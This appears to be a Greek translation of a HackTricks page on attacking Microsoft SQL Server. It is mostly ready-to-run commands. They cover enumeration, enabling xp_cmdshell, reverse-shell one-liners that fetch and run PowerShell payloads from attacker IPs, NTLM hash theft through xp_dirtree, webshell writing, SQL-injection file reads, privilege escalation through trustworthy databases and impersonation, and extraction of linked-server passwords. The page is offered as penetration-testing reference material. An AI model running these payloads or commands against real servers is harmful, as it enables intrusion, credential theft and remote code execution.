# 1433 - Ελέγχος Κενών Ασφαλείας MSSQL - Microsoft SQL Server
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks AWS)! Άλλοι τρόποι υποστήριξης του HackTricks: * Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
**Ομάδα Ασφάλειας Try Hard**
{% embed url="https://discord.gg/tryhardsecurity" %} *** ## Βασικές Πληροφορίες Από την [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server): > **Ο Microsoft SQL Server** είναι ένα **σύστημα διαχείρισης σχεσιακών βάσεων δεδομένων** που αναπτύχθηκε από τη Microsoft. Ως διακομιστής βάσης δεδομένων, είναι ένα προϊόν λογισμικού με την κύρια λειτουργία την αποθήκευση και ανάκτηση δεδομένων όπως ζητούνται από άλλες εφαρμογές λογισμικού - οι οποίες μπορεί να εκτελούνται είτε στον ίδιο υπολογιστή είτε σε άλλο υπολογιστή σε δίκτυο (συμπεριλαμβανομένου του Διαδικτύου).\\ **Προεπιλεγμένη θύρα:** 1433 ``` 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM ``` ### **Προεπιλεγμένοι πίνακες συστήματος MS-SQL** * **Βάση δεδομένων master**: Αυτή η βάση δεδομένων είναι κρίσιμη καθώς αποθανατίζει όλες τις λεπτομέρειες σε επίπεδο συστήματος για μια περίπτωση SQL Server. * **Βάση δεδομένων msdb**: Ο SQL Server Agent χρησιμοποιεί αυτήν τη βάση δεδομένων για τη διαχείριση του προγραμματισμού για ειδοποιήσεις και εργασίες. * **Βάση δεδομένων model**: Λειτουργεί ως πρότυπο για κάθε νέα βάση δεδομένων στην περίπτωση του SQL Server, όπου οποιεσδήποτε αλλαγές όπως μέγεθος, συλλογή, μοντέλο ανάκτησης και άλλα αντικατοπτρίζονται σε νεοδημιουργημένες βάσεις δεδομένων. * **Βάση δεδομένων Resource**: Μια βάση δεδομένων μόνο για ανάγνωση που φιλοξενεί συστημικά αντικείμενα που συνοδεύουν το SQL Server. Αυτά τα αντικείμενα, ενώ αποθηκεύονται φυσικά στη βάση δεδομένων Resource, παρουσιάζονται λογικά στο σχήμα sys κάθε βάσης δεδομένων. * **Βάση δεδομένων tempdb**: Λειτουργεί ως προσωρινή περιοχή αποθήκευσης για προσωρινά αντικείμενα ή ενδιάμεσα σύνολα αποτελεσμάτων. ## Απαρίθμηση ### Αυτόματη Απαρίθμηση Αν δεν ξέρετε τίποτα για την υπηρεσία: ```bash nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 msf> use auxiliary/scanner/mssql/mssql_ping ``` {% hint style="info" %} Αν **δεν έχετε διαπιστευτήρια**, μπορείτε να προσπαθήσετε να τα μαντέψετε. Μπορείτε να χρησιμοποιήσετε το nmap ή το metasploit. Να είστε προσεκτικοί, μπορείτε να **φράξετε λογαριασμούς** αν αποτύχετε να συνδεθείτε αρκετές φορές χρησιμοποιώντας ένα υπάρχον όνομα χρήστη. {% endhint %} #### Metasploit (χρειάζεται διαπιστευτήρια) ```bash #Set USERNAME, RHOSTS and PASSWORD #Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used #Steal NTLM msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder #Info gathering msf> use admin/mssql/mssql_enum #Security checks msf> use admin/mssql/mssql_enum_domain_accounts msf> use admin/mssql/mssql_enum_sql_logins msf> use auxiliary/admin/mssql/mssql_findandsampledata msf> use auxiliary/scanner/mssql/mssql_hashdump msf> use auxiliary/scanner/mssql/mssql_schemadump #Search for insteresting data msf> use auxiliary/admin/mssql/mssql_findandsampledata msf> use auxiliary/admin/mssql/mssql_idf #Privesc msf> use exploit/windows/mssql/mssql_linkcrawler msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin #Code execution msf> use admin/mssql/mssql_exec #Execute commands msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload #Add new admin user from meterpreter session msf> use windows/manage/mssql_local_auth_bypass ``` ### [**Χυδαιός Εκφορτισμός**](../../generic-methodologies-and-resources/brute-force.md#sql-server) ### Χειροκίνητη Απαρίθμηση #### Σύνδεση ```bash # Using Impacket mssqlclient.py mssqlclient.py [-db volume] /:@ ## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine mssqlclient.py [-db volume] -windows-auth /:@ # Using sqsh sqsh -S -U -P -D ## In case Windows Auth using "." as domain name for local user sqsh -S -U .\\ -P -D ## In sqsh you need to use GO after writting the query to send it 1> select 1; 2> go ``` #### Κοινή Απαρίθμηση ```sql # Get version select @@version; # Get user select user_name(); # Get databases SELECT name FROM master.dbo.sysdatabases; # Use database USE master #Get table names SELECT * FROM .INFORMATION_SCHEMA.TABLES; #List Linked Servers EXEC sp_linkedservers SELECT * FROM sys.servers; #List users select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name; #Create user with sysadmin privs CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!' EXEC sp_addsrvrolemember 'hacker', 'sysadmin' ``` #### Λήψη Χρήστη {% content-ref url="types-of-mssql-users.md" %} [types-of-mssql-users.md](types-of-mssql-users.md) {% endcontent-ref %} ```sql # Get all the users and roles select * from sys.database_principals; ## This query filters a bit the results select name, create_date, modify_date, type_desc as type, authentication_type_desc as authentication_type, sid from sys.database_principals where type not in ('A', 'R') order by name; ## Both of these select all the users of the current database (not the server). ## Interesting when you cannot acces the table sys.database_principals EXEC sp_helpuser SELECT * FROM sysusers ``` #### Λήψη Δικαιωμάτων 1. **Δυνατότητα:** Ορίζεται ως οι πόροι που διαχειρίζεται ο SQL Server για τον έλεγχο πρόσβασης. Αυτοί κατηγοριοποιούνται σε: * **Διακομιστής** – Παραδείγματα περιλαμβάνουν βάσεις δεδομένων, συνδέσεις, ομάδες διαθεσιμότητας και ρόλους διακομιστή. * **Βάση Δεδομένων** – Παραδείγματα καλύπτουν ρόλους βάσης δεδομένων, ρόλους εφαρμογής, σχήματα, πιστοποιητικά, καταλόγους πλήρους κειμένου και χρήστες. * **Σχήμα** – Περιλαμβάνει πίνακες, προβολές, διαδικασίες, συναρτήσεις, συνώνυμα, κλπ. 2. **Δικαίωμα:** Συνδέεται με τα δυνατά του SQL Server, δικαιώματα όπως ALTER, CONTROL και CREATE μπορούν να χορηγηθούν σε έναν αρχέτυπο. Η διαχείριση των δικαιωμάτων πραγματοποιείται σε δύο επίπεδα: * Στο **Επίπεδο Διακομιστή** χρησιμοποιώντας συνδέσεις * Στο **Επίπεδο Βάσης Δεδομένων** χρησιμοποιώντας χρήστες 3. **Αρχέτυπο:** Αυτός ο όρος αναφέρεται στο οντότητα που έχει χορηγηθεί άδεια πρόσβασης σε ένα δυνατό. Τα αρχέτυπα περιλαμβάνουν κυρίως συνδέσεις και χρήστες βάσης δεδομένων. Ο έλεγχος της πρόσβασης στα δυνατά πραγματοποιείται μέσω της χορήγησης ή απόρριψης δικαιωμάτων ή με τη συμπερίληψη συνδέσεων και χρηστών σε ρόλους εξοπλισμένους με δικαιώματα πρόσβασης. ```sql # Show all different securables names SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); # Show all possible permissions in MSSQL SELECT * FROM sys.fn_builtin_permissions(DEFAULT); # Get all my permissions over securable type SERVER SELECT * FROM fn_my_permissions(NULL, 'SERVER'); # Get all my permissions over a database USE SELECT * FROM fn_my_permissions(NULL, 'DATABASE'); # Get members of the role "sysadmin" Use master EXEC sp_helpsrvrolemember 'sysadmin'; # Get if the current user is sysadmin SELECT IS_SRVROLEMEMBER('sysadmin'); # Get users that can run xp_cmdshell Use master EXEC sp_helprotect 'xp_cmdshell' ``` ## Κόλπα ### Εκτέλεση Εντολών Λειτουργικού Συστήματος {% hint style="danger" %} Σημείωση ότι για να είναι δυνατή η εκτέλεση εντολών, είναι απαραίτητο όχι μόνο να έχετε ενεργοποιημένο το **`xp_cmdshell`**, αλλά επίσης να έχετε το **δικαίωμα ΕΚΤΕΛΕΣΗΣ στην αποθηκευμένη διαδικασία `xp_cmdshell`**. Μπορείτε να δείτε ποιος (εκτός από τους sysadmins) μπορεί να χρησιμοποιήσει το **`xp_cmdshell`** με: ```sql Use master EXEC sp_helprotect 'xp_cmdshell' ``` {% endhint %} ```bash # Username + Password + CMD command crackmapexec mssql -d -u -p -x "whoami" # Username + Hash + PS command crackmapexec mssql -d -u -H -X '$PSVersionTable' # Check if xp_cmdshell is enabled SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'; # This turns on advanced options and is needed to configure xp_cmdshell sp_configure 'show advanced options', '1' RECONFIGURE #This enables xp_cmdshell sp_configure 'xp_cmdshell', '1' RECONFIGURE #One liner EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; # Quickly check what the service account is via xp_cmdshell EXEC master..xp_cmdshell 'whoami' # Get Rev shell EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile' # Bypass blackisted "EXEC xp_cmdshell" '; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' — ``` ### Κλέψτε το hash του NetNTLM / Επίθεση Relay Πρέπει να ξεκινήσετε ένα **διακομιστή SMB** για να αιχμαλωτίσετε το hash που χρησιμοποιείται στην πιστοποίηση (`impacket-smbserver` ή `responder` για παράδειγμα). ```bash xp_dirtree '\\\any\thing' exec master.dbo.xp_dirtree '\\\any\thing' EXEC master..xp_subdirs '\\\anything\' EXEC master..xp_fileexist '\\\anything\' # Capture hash sudo responder -I tun0 sudo impacket-smbserver share ./ -smb2support msf> use auxiliary/admin/mssql/mssql_ntlm_stealer ``` {% hint style="warning" %} Μπορείτε να ελέγξετε αν ποιος (εκτός από τους συστημικούς διαχειριστές) έχει δικαιώματα να εκτελέσει αυτές τις λειτουργίες MSSQL με: ```sql Use master; EXEC sp_helprotect 'xp_dirtree'; EXEC sp_helprotect 'xp_subdirs'; EXEC sp_helprotect 'xp_fileexist'; ``` {% endhint %} Χρησιμοποιώντας εργαλεία όπως το **responder** ή το **Inveigh** είναι δυνατόν να **κλέψετε το NetNTLM hash**.\ Μπορείτε να δείτε πως να χρησιμοποιήσετε αυτά τα εργαλεία στο: {% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} [spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) {% endcontent-ref %} ### Κατάχρηση των Αξιόπιστων Συνδέσεων του MSSQL [**Διαβάστε αυτή την ανάρτηση**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **για περισσότερες πληροφορίες σχετικά με το πώς να καταχρηστείτε αυτό το χαρακτηριστικό:** {% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %} [abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) {% endcontent-ref %} ### **Εγγραφή Αρχείων** Για να εγγράψετε αρχεία χρησιμοποιώντας το `MSSQL`, **χρειάζεται να ενεργοποιήσετε** τις [**Διαδικασίες Αυτοματισμού Ole**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), οι οποίες απαιτούν δικαιώματα διαχειριστή, και στη συνέχεια να εκτελέσετε ορισμένες αποθηκευμένες διαδικασίες για τη δημιουργία του αρχείου: ```bash # Enable Ole Automation Procedures sp_configure 'show advanced options', 1 RECONFIGURE sp_configure 'Ole Automation Procedures', 1 RECONFIGURE # Create a File DECLARE @OLE INT DECLARE @FileID INT EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1 EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '' EXECUTE sp_OADestroy @FileID EXECUTE sp_OADestroy @OLE ``` ### **Ανάγνωση αρχείου με** OPENROWSET Από προεπιλογή, το `MSSQL` επιτρέπει την ανάγνωση αρχείων **σε οποιοδήποτε αρχείο στο λειτουργικό σύστημα στο οποίο ο λογαριασμός έχει πρόσβαση ανάγνωσης**. Μπορούμε να χρησιμοποιήσουμε το ακόλουθο ερώτημα SQL: ```sql SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents ``` Ωστόσο, η επιλογή **`BULK`** απαιτεί την άδεια **`ADMINISTER BULK OPERATIONS`** ή την άδεια **`ADMINISTER DATABASE BULK OPERATIONS`**. ```sql # Check if you have it SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS'; ``` #### Σφάλμα βασισμένο διάνυσμα για SQLi: ``` https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))-- ``` ### **RCE/Ανάγνωση αρχείων εκτέλεσης σεναρίων (Python και R)** Το MSSQL θα μπορούσε να σας επιτρέψει να εκτελέσετε **σενάρια σε Python και/ή R**. Αυτός ο κώδικας θα εκτελεστεί από έναν **διαφορετικό χρήστη** από αυτόν που χρησιμοποιεί το **xp\_cmdshell** για να εκτελέσει εντολές. Παράδειγμα προσπάθειας εκτέλεσης ενός **'R'** _"Καλημέρα Κόσμε!"_ **που δεν λειτουργεί**: ![](<../../.gitbook/assets/image (393).png>) Παράδειγμα χρήσης προσαρμοσμένου Python για να εκτελέσει διάφορες ενέργειες: ```sql # Print the user being used (and execute commands) EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())' EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))' #Open and read a file EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())' #Multiline EXECUTE sp_execute_external_script @language = N'Python', @script = N' import sys print(sys.version) ' GO ``` ### Διαβάστε το Μητρώο Το Microsoft SQL Server παρέχει **πολλές επεκτεινόμενες αποθηκευμένες διαδικασίες** που σας επιτρέπουν να αλληλεπιδράτε όχι μόνο με το δίκτυο αλλά και με το σύστημα αρχείων και ακόμη και το [**Μητρώο των Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:** | **Κανονικό** | **Ευαισθησία στο Παράδειγμα** | | ---------------------------- | -------------------------------------- | | sys.xp\_regread | sys.xp\_instance\_regread | | sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues | | sys.xp\_regenumkeys | sys.xp\_instance\_regenumkeys | | sys.xp\_regwrite | sys.xp\_instance\_regwrite | | sys.xp\_regdeletevalue | sys.xp\_instance\_regdeletevalue | | sys.xp\_regdeletekey | sys.xp\_instance\_regdeletekey | | sys.xp\_regaddmultistring | sys.xp\_instance\_regaddmultistring | | sys.xp\_regremovemultistring | sys.xp\_instance\_regremovemultistring | ```sql # Example read registry EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory'; # Example write and then read registry EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!'; EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue'; # Example to check who can use these functions Use master; EXEC sp_helprotect 'xp_regread'; EXEC sp_helprotect 'xp_regwrite'; ``` Για **περισσότερα παραδείγματα** ανατρέξτε στην [**πρωτότυπη πηγή**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/). ### RCE με MSSQL User Defined Function - SQLHttp Είναι δυνατόν να **φορτώσετε ένα .NET dll μέσα στο MSSQL με προσαρμοσμένες λειτουργίες**. Αυτό, ωστόσο, **απαιτεί πρόσβαση στο `dbo`**, οπότε χρειάζεστε σύνδεση με τη βάση δεδομένων **ως `sa` ή με ρόλο Διαχειριστή**. [**Ακολουθώντας αυτόν τον σύνδεσμο**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) μπορείτε να δείτε ένα παράδειγμα. ### Άλλοι τρόποι για RCE Υπάρχουν και άλλες μεθόδοι για την εκτέλεση εντολών, όπως η προσθήκη [επεκτεσμένων αποθηκευμένων διαδικασιών](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), και [εξωτερικά scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql). ## Ανόδος Προνομίων στο MSSQL ### Από db\_owner σε sysadmin Αν ένας **κανονικός χρήστης** λάβει τον ρόλο **`db_owner`** πάνω στη **βάση δεδομένων που ανήκει σε έναν διαχειριστή** χρήστη (όπως ο **`sa`**) και αυτή η βάση δεδομένων είναι ρυθμισμένη ως **`trustworthy`**, ο χρήστης αυτός μπορεί να εκμεταλλευτεί αυτά τα προνόμια για **ανόδο προνομίων** επειδή **αποθηκευμένες διαδικασίες** που δημιουργούνται εκεί μπορούν να **εκτελεστούν** ως ιδιοκτήτης (**διαχειριστής**). ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases # Find trustworthy databases SELECT a.name,b.is_trustworthy_on FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name; # Get roles over the selected database (look for your username as db_owner) USE SELECT rp.name as database_role, mp.name as database_user from sys.database_role_members drm join sys.database_principals rp on (drm.role_principal_id = rp.principal_id) join sys.database_principals mp on (drm.member_principal_id = mp.principal_id) # If you found you are db_owner of a trustworthy database, you can privesc: --1. Create a stored procedure to add your user to sysadmin role USE CREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'USERNAME','sysadmin' --2. Execute stored procedure to get sysadmin role USE EXEC sp_elevate_me --3. Verify your user is a sysadmin SELECT is_srvrolemember('sysadmin') ``` Μπορείτε να χρησιμοποιήσετε ένα **module του metasploit**: ```bash msf> use auxiliary/admin/mssql/mssql_escalate_dbowner ``` Ή ένα **PS** script: ```powershell # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1 Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1 Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184 ``` ### Προσωποποίηση άλλων χρηστών Το SQL Server έχει ένα ειδικό δικαίωμα, με το όνομα **`IMPERSONATE`**, που **επιτρέπει στον εκτελούντα χρήστη να αναλάβει τα δικαιώματα ενός άλλου χρήστη** ή σύνδεσης μέχρι να επαναφερθεί ο πλαίσιο ή να λήξει η συνεδρία. ```sql # Find users you can impersonate SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' # Check if the user "sa" or any other high privileged user is mentioned # Impersonate sa user EXECUTE AS LOGIN = 'sa' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') ``` {% hint style="info" %} Αν μπορείτε να προσωποποιήσετε έναν χρήστη, ακόμα κι αν δεν είναι sysadmin, πρέπει να ελέγξετε αν ο χρήστης έχει πρόσβαση σε άλλες βάσεις δεδομένων ή συνδεδεμένους διακομιστές. {% endhint %} Σημειώστε ότι αφού γίνετε sysadmin μπορείτε να προσωποποιήσετε οποιονδήποτε άλλο: ```sql -- Impersonate RegUser EXECUTE AS LOGIN = 'RegUser' -- Verify you are now running as the the MyUser4 login SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') -- Change back to sa REVERT ``` Μπορείτε να εκτελέσετε αυτήν την επίθεση με ένα **module του metasploit**: ```bash msf> auxiliary/admin/mssql/mssql_escalate_execute_as ``` ή με ένα σενάριο **PS**: ```powershell # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1 Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1 Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword! ``` ## Χρήση του MSSQL για Διατήρηση [https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/) ## Εξαγωγή κωδικών πρόσβασης από SQL Server Linked Servers Ένας επιτιθέμενος μπορεί να εξάγει κωδικούς πρόσβασης από τους συνδεδεμένους διακομιστές SQL Server από τις προσβάσεις SQL και να τους λάβει σε καθαρό κείμενο, χορηγώντας στον επιτιθέμενο κωδικούς πρόσβασης που μπορούν να χρησιμοποιηθούν για να αποκτήσει μεγαλύτερη εδρά στον στόχο. Το σενάριο για την εξαγωγή και αποκρυπτογράφηση των κωδικών που αποθηκεύονται για τους συνδεδεμένους διακομιστές μπορεί να βρεθεί [εδώ](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords) Κάποιες απαιτήσεις και ρυθμίσεις πρέπει να γίνουν για να λειτουργήσει αυτή η εκμετάλλευση. Καταρχάς, πρέπει να έχετε δικαιώματα Διαχειριστή στον υπολογιστή ή τη δυνατότητα να διαχειρίζεστε τις ρυθμίσεις του SQL Server. Μετά την επικύρωση των δικαιωμάτων σας, πρέπει να διαμορφώσετε τρία πράγματα, τα οποία είναι τα ακόλουθα: 1. Ενεργοποίηση του TCP/IP στις περιπτώσεις του SQL Server; 2. Προσθήκη ενός παραμέτρου εκκίνησης, σε αυτήν την περίπτωση, θα προστεθεί ένα σημάδι ανίχνευσης, το οποίο είναι το -T7806. 3. Ενεργοποίηση απομακρυσμένης διαχείρισης διασύνδεσης. Για να αυτοματοποιήσετε αυτές τις ρυθμίσεις, [αυτό το αποθετήριο](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) έχει τα απαιτούμενα σενάρια. Εκτός από ένα σενάριο PowerShell για κάθε βήμα της διαμόρφωσης, το αποθετήριο έχει επίσης ένα πλήρες σενάριο που συνδυάζει τα σενάρια διαμόρφωσης και την εξαγωγή και αποκρυπτογράφηση των κωδικών πρόσβασης. Για περισσότερες πληροφορίες, ανατρέξτε στους παρακάτω συνδέσμους σχετικά με αυτήν την επίθεση: [Αποκρυπτογράφηση των Κωδικών Πρόσβασης των Διακομιστών Σύνδεσης Βάσεων Δεδομένων MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) [Αντιμετώπιση προβλημάτων με την Αφιερωμένη Διαχειριστική Σύνδεση του SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) ## Τοπική Ανόδος Δικαιωμάτων Ο χρήστης που εκτελεί τον διακομιστή MSSQL θα έχει ενεργοποιημένο το δικαίωμα διακριτικού **SeImpersonatePrivilege.**\ Πιθανόν να μπορείτε να **αναβαθμίσετε σε Διαχειριστή** ακολουθώντας ένα από αυτά τα 2 σενάρια: {% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %} [roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md) {% endcontent-ref %} {% content-ref url="../../windows-hardening/windows-local-privilege-escalation/juicypotato.md" %} [juicypotato.md](../../windows-hardening/windows-local-privilege-escalation/juicypotato.md) {% endcontent-ref %} ## Shodan * `port:1433 !HTTP` ## Αναφορές * [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users) * [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/) * [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) * [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) * [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/) * [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/) * [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %} *** ## Αυτόματες Εντολές HackTricks ``` Protocol_Name: MSSQL #Protocol Abbreviation if there is one. Port_Number: 1433 #Comma separated if there is more than one. Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for MSSQL Note: | Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet). #sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G ###the goal is to get xp_cmdshell working### 1. try and see if it works xp_cmdshell `whoami` go 2. try to turn component back on EXEC SP_CONFIGURE 'xp_cmdshell' , 1 reconfigure go xp_cmdshell `whoami` go 3. 'advanced' turn it back on EXEC SP_CONFIGURE 'show advanced options', 1 reconfigure go EXEC SP_CONFIGURE 'xp_cmdshell' , 1 reconfigure go xp_cmdshell 'whoami' go xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')" https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server Entry_2: Name: Nmap for SQL Description: Nmap with SQL Scripts Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP} Entry_3: Name: MSSQL consolesless mfs enumeration Description: MSSQL enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT ; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT ; run; exit' && 